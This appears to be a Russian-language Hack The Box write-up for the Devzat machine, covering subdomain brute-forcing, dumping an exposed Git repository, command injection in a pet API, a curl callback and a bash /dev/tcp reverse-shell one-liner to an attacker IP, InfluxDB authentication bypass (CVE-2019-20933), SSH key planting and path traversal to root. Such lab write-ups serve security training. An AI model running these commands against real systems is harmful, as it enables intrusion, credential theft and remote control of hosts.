Прохождение HTB Devzat
В этой статье мы разберем среднюю по сложности машину из HTB – Devzat. На примере её прохождения ты научишься эксплуатировать CVE-2019-20933, дампить открытые Git репозитории, находить command injection в веб-приложениях и получать рут с помощью техники path traversal. Словари, которые я использовал можно найти тут.
Сканирование портов
IP машины — 10.10.11.118, сразу заносим его в /etc/hosts:
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap, который мы будем запускать с такими параметрами:
-T4 – увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте;
-p- – этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс;
-A – позволяет обнаружить версию операционной системы и версии установленного ПО;
-o – аргумент для экспорта результатов в файл.
После сканирования мы видим 22, 80 и 8000 порты. Брут SSH на 22 порту, особенно на машинках из HTB ничего не даст, поэтому перейдем сразу к 80:
Получаем новый субдомен
Открыв devzat.htb мы видим обычный с виду одностраничный сайт, но пытаясь сбрутить директории ничего не получим, а значит нужно перейти к поиску субдоменов. Делать это удобнее всего с помощью Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), ведь в нём есть функция брута виртуальных хостов (режим vhost). Запускаем, используя команду:
gobuster vhost -u http://devzat.htb -w словарь -r
Если вы всё сделали без ошибок, то Gobuster найдёт субдомен pets, сразу добавляем его в /etc/hosts:
Запуск dirsearch
Перейдя на pets.devzat.htb мы видим ещё один сайт, в котором можно добавлять животных, тем самым обращаясь к API, но об этом немного позже. Запускаем dirsearch (скачать можно тут), чтобы найти скрытые файлы и директории, сделать это можно с помощью команды:
dirsearch -u http://pets.devzat.htb -e txt,php,html -t 20 –x 400,404
Спустя несколько секунд, мы увидим открытый репозиторий Git (что это такое и как это эксплуатировать можно узнать тут). Дампим его утилитой git-dumper (скачать можно тут):
RCE в функции loadCharacter
Дождавшись, когда git-dumper закончит работу и открыв файл main.go, мы увидим возможность внедрения произвольных команд в момент запроса к API:
Функция loadCharacter никак не защищена от возможности внедрения системных команд, чем мы и воспользуемся. Открываем BurpSuite, ловим запрос с формы и отсылаем его в репитер:
В репитере мы можем редактировать запрос и добавить туда команду curl наш_айпи:порт_nc, таким образом убедимся, что запросы из системы могут к нам долететь:
Немного отредактировав команду, получаем имя пользователя и текущую директорию:
Реверс шелл
Закодировав в бейс64 команду
bash -i >& /dev/tcp/айпи/порт_nc 0>&1, мы получаем бэкконект:
Получаем флаг user.txt
Немного покопавшись в системе, мы замечаем запущенный контейнер с портом 8086:
Прокидываем этот порт себе для дальнейшего изучения используя chisel (скачать можно тут). Качаем на атакующую машину и запускаем веб-сервер, с которого будем передавать утилиту на Devzat:
Запускаем chisel:
Когда порт проброшен, запускаем nmap:
Немного погуглив, понимаем, что для InfluxDB есть эксплоит:
Уязвимость позволяет обойти процесс аутентификации, а существует из-за того, что токен JWT может иметь пустой секретный ключ в функции аутентификации в services/httpd/handler.go, таким образом мы получим несанкционированный доступ к базе данных. Запускаем эксплоит и указываем путь к словарю с именами пользователей:
Получаем пароли из БД:
Идём по порядку и пробуем зайти как catherine:
Получаем первый флаг user.txt:
Повышаем права
Используя команду find / -type f -maxdepth 3 –writable, мы находим доступные для записи файлы и папки, в которых лежат бекапы:
Копируем архивы в tmp и там их открываем:
Используя команду diff dev/commands.go main/commands.go >> diff.txt, мы находим функцию, которая позволяет читать файлы, если введённый пароль соответствует тому, который в этой функции указан:
Консоль, которую мы используем сейчас очень ограничена, чтобы получить нормальный коннект по SSH нужно создать файлы id_rsa и id_rsa.pub, которые мы перекинем на взломанную машину:
После создания ключей запускаем веб-сервер, качаем id_rsa.pub на Devzat и подключаемся по SSH с использованием ключа id_rsa (ssh [email protected] -i id_rsa)
После нескольких минут, мы найдем открытый порт 8443, который доступен только из локальной сети Devzat. На этом порту работает SSH и тот самый билд программы, которая позволяет читать файлы с использованием пароля, который мы уже знаем. Заходим, используя любой логин:
Смотрим доступные команды:
Флаг root.txt
Немного потыкав команду file, мы получаем возможность читать любой системный файл:
На этом прохождение Devzat заканчивается, загружаем флаги в HackTheBox, и получаем баллы: